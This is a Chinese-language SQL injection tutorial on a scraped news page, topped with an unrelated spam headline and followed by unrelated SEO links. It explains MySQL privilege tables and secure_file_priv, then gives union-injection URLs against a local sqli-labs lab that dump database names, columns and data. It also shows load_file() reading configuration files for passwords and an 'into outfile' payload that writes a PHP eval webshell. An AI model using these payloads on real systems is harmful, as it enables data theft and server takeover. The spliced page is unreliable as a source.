当前位置: 首页 > news >正文

网站定制开发报价单大学生求职创业补贴

网站定制开发报价单,大学生求职创业补贴,河北网站建设工程,网页制作教程(第三版)死在山野的风里,活在自由的梦里 sql注入之高权限注入和文件读写 高权限注入1.多个网站共享mysql服务器2.MySQL 权限介绍3.注入流程查询所有数据库名称查询表名对应的字段名查询数据 文件读写1.文件读写注入的原理2.文件读写注入的条件3.读取文件4.写入文件 高权限注…

死在山野的风里,活在自由的梦里

sql注入之高权限注入和文件读写

    • 高权限注入
      • 1.多个网站共享mysql服务器
      • 2.MySQL 权限介绍
      • 3.注入流程
        • 查询所有数据库名称
        • 查询表名对应的字段名
        • 查询数据
    • 文件读写
        • 1.文件读写注入的原理
        • 2.文件读写注入的条件
        • 3.读取文件
        • 4.写入文件

高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,高权限系统用户拥有整个服务器数据库的操作权限,而普通用户只拥有部分已配置的权限。

取得高权限用户权限,可以查看所有数据库,还可以对服务器文件进行读写操作。

1.多个网站共享mysql服务器

为什么会出现高权限注入的原因

在这里插入图片描述

在这里插入图片描述

连接mysql的配置文件

在这里插入图片描述

2.MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv(表权限)表,columns_priv(列权限)表,我当前的版本mysql 5.7.22 。

mysql权限表的验证过程为:先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。通过身份认证后,进行权限分配,按照user,db,tables_priv,columns_priv的顺序进行验证。即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。2.1 系统权限表User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 Procs_priv表:存放存储过程和函数级别的权限

(1)查看root的权限

select * from user where user='root' and host='localhost'\G;

(2)给普通用户test1所有权限

GRANT ALL PRIVILEGES ON *.* To 'test1'@'localhost' WITH GRANT OPTION;

在这里插入图片描述
(3)查看mysql 有哪些用户:
mysql> select user,host from mysql.user;

(4)创建 mysql 用户
有两种方式创建MySQL授权用户

执行create user/grant命令(推荐方式)
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
通过insert语句直接操作MySQL系统权限表

(5)只提供id查询权限

让user1有test库的t1表的读取id的权限

 grant select(id) on test.t1 to user1@'localhost' identified by '123456';

(6)删除用户

drop user finley@'localhost';

3.注入流程

查询所有数据库名称

在这里插入图片描述

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询表名对应的字段名

在这里插入图片描述

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

在这里插入图片描述

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

文件读写

1.文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2.文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

linux
cat /etc/my.cnf[mysqld]secure_file_priv=winmy.ini[mysqld]secure_file_priv=

查看mysql全局变量的配置

show global variables like '%secure%'

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写
在这里插入图片描述
2、知道网站绝对路径

Windows常见:
在这里插入图片描述
Linux常见:
在这里插入图片描述
路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

3.读取文件

使用函数:load_file()

union select load_file('绝对路径');

在这里插入图片描述

在这里插入图片描述
后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…

4.写入文件

union select 1,'<?php eval($_POST["1"]);?>',3 into outfile 'd:/1.php'

在这里插入图片描述
使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

http://www.sczhlp.com/news/113663/

相关文章:

  • 专门做简历的网站软件软件开发文档写作
  • 苏州建设交通学校网站首页营销型企业网站核心
  • 昆山市住房和城乡建设局网站企业所得税什么时候交
  • 外国建筑设计网站宠物 wordpress
  • 做网站需要的图片便捷的大连网站建设
  • 青岛网站推贵州省建设厅的网站
  • flash是怎么做网站的值得相信的西安网站开发
  • (简记)一类区间覆盖问题 珂朵莉树 ODT
  • 5 事务隔离级别与锁机制
  • 我向编程世界宣布的第一声
  • 天猫做网站网站标题 空格
  • 网站开发模块学些什么软件2023来个网站可以看的
  • 企业网站相关案例不用服务器怎么做网站
  • 怎么样给自己做网站辽宁网站建设熊掌号
  • 广州网站建设 领航科技天津网站搜索排名
  • node.js 网站开发视频推广网站
  • 自己做app建网站太原网站建设优化
  • 正规制作网站公司哪家好cf刷枪网站怎么做的
  • 网站错误模板深入理解wordpress
  • 北京亦庄网站建设公司上海闵行做网站
  • 汕头网站建设推荐论坛网站论坛网站建设建设
  • Win11 安装 MinGW
  • 阿里巴巴网站是用什么技术做的湖北科技职业学院
  • 做经营行网站需要什么镇江牛吧企业网站建设与推广公司
  • 哪里能找到网站广西高端网站建设公司
  • 广州番禺网站公司如何分析他人网站流量
  • 购物网站建设比较好的wordpress自建表格
  • 高端网站建设郑州惠安建设局网站
  • 如何推广自己成为网红站内seo怎么做
  • 网站制作的订单外贸网站建设课本